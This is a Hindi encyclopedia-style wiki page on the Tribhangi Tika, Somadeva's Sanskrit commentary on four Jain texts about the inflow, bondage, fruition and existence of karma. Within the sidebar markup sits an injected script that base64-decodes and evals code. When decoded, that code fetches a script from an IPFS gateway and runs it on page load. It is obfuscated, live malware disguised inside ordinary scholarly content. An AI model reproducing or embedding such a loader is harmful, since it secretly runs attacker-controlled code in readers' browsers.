त्रिभंगी टीका

The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

सुस्वागतम्
- mainpage|मुखपृष्ठ
- ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
  विशेष:Contact|संपर्क
- समस्त श्रेणियाँ|समस्त श्रेणियाँ
SEARCH
LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

जैन दर्शन
- जैन दर्शन का उद्भव और विकास|उद्भव और विकास
- ॠषभनाथ तीर्थंकर|ॠषभनाथ तीर्थंकर
- तीर्थंकर पार्श्वनाथ|पार्श्वनाथ तीर्थंकर
- नेमिनाथ तीर्थंकर|नेमिनाथ तीर्थंकर
- तीर्थंकर उपदेश|तीर्थंकर उपदेश
- तीर्थंकर|तीर्थंकर
- महावीर|महावीर
- जैन तार्किक और उनके न्यायग्रन्थ|तार्किक और न्यायग्रन्थ
- जैन आचार-मीमांसा|आचार-मीमांसा
- जैन दर्शन में अध्यात्म|अध्यात्म
- जैन दर्शन और उसका उद्देश्य|उद्देश्य
- जैन दर्शन के प्रमुख ग्रन्थ|प्रमुख ग्रन्थ

</sidebar>

त्रिभंगी टीका

आस्रवत्रिभंगी,
बंधत्रिभंगी,
उदयत्रिभंगी और
सत्त्वत्रिभंगी-इन 4 त्रिभंगियों को संकलित कर टीकाकार ने इन पर संस्कृत में टीका की है।

आस्रवत्रिभंगी 63 गाथा प्रमाण है।
इसके रचयिता श्रुतमुनि हैं।
बंधत्रिभंगी 44 गाथा प्रमाण है तथा उसके कर्ता नेमिचन्द शिष्य माधवचन्द्र हैं।
उदयत्रिभंगी 73 गाथा प्रमाण है और उसके निर्माता नेमिचन्द्र हैं।
सत्त्व त्रिभंगी 35 गाथा प्रमाण है और उसके कर्ता भी नेमिचन्द्र हैं।
इन चारों पर सोमदेव ने संस्कृत में व्याख्याएँ लिखी हैं।
ये सोमदेव, यशस्तित्वक चम्पू काव्य के कर्ता प्रसिद्ध सोमदेव से भिन्न और 16वीं, 17वीं शताब्दी के एक भट्टारक विद्वान हैं।
इनकी संस्कृत भाषा बहुत स्खलित प्रतीत होती है। उन्होंने अपनी इस त्रिभंगी चतुष्टय पर लिखी गई टीका की भाषा को 'लाटीय भाषा' कहा है।
टीका में सोमदेव ने कर्मों के आस्रव, बंध, उदय और सत्वविषय का कथन किया है, जो सामान्य जिज्ञासुओं के लिए उपयोगी है।